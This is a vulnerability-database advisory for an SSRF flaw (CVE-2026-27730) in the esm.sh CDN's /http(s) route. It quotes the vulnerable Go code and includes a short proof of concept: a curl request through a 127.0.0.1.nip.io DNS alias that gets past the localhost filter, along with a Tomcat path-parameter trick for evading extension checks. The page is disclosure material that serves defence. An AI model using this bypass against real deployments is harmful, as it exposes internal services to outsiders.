Vulnerability-Lookup

GHSA-P2V6-84H2-5X4R

Vulnerability from github – Published: 2026-02-25 22:57 – Updated: 2026-03-02 16:40

Summary

esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route

Details

Summary

An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).

Details

The vulnerable flow starts at the route handling user-controlled remote URLs:

server/router.go:532
Accepts paths beginning with /http:// or /https://. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String()

// disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } }


The internal-target block is string-based:

- `server/router.go:545`
 ```go
            // disallow localhost or ip address for production
            if !DEBUG {
                hostname := modUrl.Hostname()
                if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
                    ctx.SetHeader("Cache-Control", ccImmutable)
                    return rex.Status(400, "Invalid URL")
                }
            }

Localhost detection itself is limited to hostname patterns:

server/utils.go:72
isLocalhost(...) checks values like localhost, 127.0.0.1, and 192.168.*.
It does not validate the resolved destination IP after DNS resolution.

func isLocalhost(hostname string) bool {
    return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}

Fetch proceeds with host-string allowlisting:

server/router.go:595-596
allowedHosts[modUrl.Host] = struct{}{} then fetch.NewClient(...allowedHosts)

allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()

internal/fetch/fetch.go:49
Host allowlist compares host strings, not resolved IP class.

func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
    if c.allowedHosts != nil {
        if _, ok := c.allowedHosts[url.Host]; !ok {
            return nil, errors.New("host not allowed: " + url.Host)
        }
    }
    if c.userAgent != "" {
        if header == nil {
            header = make(http.Header)
        }
        header.Set("User-Agent", c.userAgent)
    }
    // ...
    return c.Do(req)
}

Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.

PoC

Reproduction tested on local Docker deployment.

Run esm.sh:

docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest

Run an internal localhost-only test service (secret response) in the same network namespace:
Internal network test server code (app.py):

from flask import Flask, Response

@app.get('/secret.js')
def secret_js():
    return Response('secret;\n', mimetype='application/javascript')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5555)

Run the internal Python server container (same network namespace as esmsh-5558):

docker run -d --name internal-5555 --network container:esmsh-5558 \
  -v "<YOUR_PATH>/flask-internal:/app" -w /app \
  python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"

Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.

Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.

cloudflared tunnel --url http://127.0.0.1:5558

Trigger SSRF from outside via esm.sh endpoint:

curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"

127.0.0.1 is blocked,

but 127.0.0.1.nip.io bypasses the filter.

This confirms external requesters can fetch internal localhost service content through esm.sh.

Impact

This is a Server-Side Request Forgery vulnerability (CWE-918).

Impacted: - Any esm.sh deployment exposing the /http(s) route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network.

Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present. - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.

Severity

8.6 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250616164159-0593516c4cfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T22:57:59Z",
    "nvd_published_at": "2026-02-25T16:23:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh\u2019s `/http(s)` fetch route.  \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).  \nThis allows an external requester to make the esm.sh server fetch internal localhost services.  \nSeverity:  High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n  - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" \u0026\u0026 modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n  - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n  - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) \u0026\u0026 strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n  - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n  - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get(\u0027/secret.js\u0027)\ndef secret_js():\n    return Response(\u0027secret;\\n\u0027, mimetype=\u0027application/javascript\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n  -v \"\u003cYOUR_PATH\u003e/flask-internal:/app\" -w /app \\\n  python:3.11-alpine sh -lc \"pip install --no-cache-dir flask \u0026\u0026 python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\u003cimg width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" /\u003e\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\u003cimg width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" /\u003e\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
  "id": "GHSA-p2v6-84h2-5x4r",
  "modified": "2026-03-02T16:40:47Z",
  "published": "2026-02-25T22:57:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/pull/1149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route"
}

CVE-2026-27730 (GCVE-0-2026-27730)

Vulnerability from cvelistv5 – Published: 2026-02-25 15:37 – Updated: 2026-02-25 20:32

Title

esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route

Summary

esm.sh is a no-build content delivery network (CDN) for web development. Versions up to and including 137 have an SSRF vulnerability (CWE-918) in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains. This allows an external requester to make the esm.sh server fetch internal localhost services. As of time of publication, no known patched versions exist.

Severity

8.6 (High)


                        
                          CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-25 20:31 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7836 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/esm-dev/esm.sh/security/adviso…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
esm-dev	esm.sh	Affected: <= 137

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-27730",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-25T20:31:47.872081Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-25T20:32:05.079Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "esm.sh",
          "vendor": "esm-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 137"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "esm.sh is a no-build content delivery network (CDN) for web development. Versions up to and including 137 have an SSRF vulnerability (CWE-918) in esm.sh\u2019s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains. This allows an external requester to make the esm.sh server fetch internal localhost services. As of time of publication, no known patched versions exist."
        }
      ],
      "metrics": [
        {
          "cvssV3_0": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-25T15:37:01.753Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
        }
      ],
      "source": {
        "advisory": "GHSA-p2v6-84h2-5x4r",
        "discovery": "UNKNOWN"
      },
      "title": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-27730",
    "datePublished": "2026-02-25T15:37:01.753Z",
    "dateReserved": "2026-02-23T18:37:14.789Z",
    "dateUpdated": "2026-02-25T20:32:05.079Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Sightings and recorded dates, grouped by day · UTC

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

GHSA-P2V6-84H2-5X4R

Summary

Details

PoC

Impact

CVE-2026-27730 (GCVE-0-2026-27730)

Tags

Sightings

Nomenclature

Vulnerability timeline

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